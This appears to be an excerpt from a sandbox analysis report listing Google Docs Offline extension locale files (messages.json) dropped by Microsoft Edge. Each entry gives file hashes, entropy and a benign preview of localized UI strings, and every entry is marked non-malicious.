Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
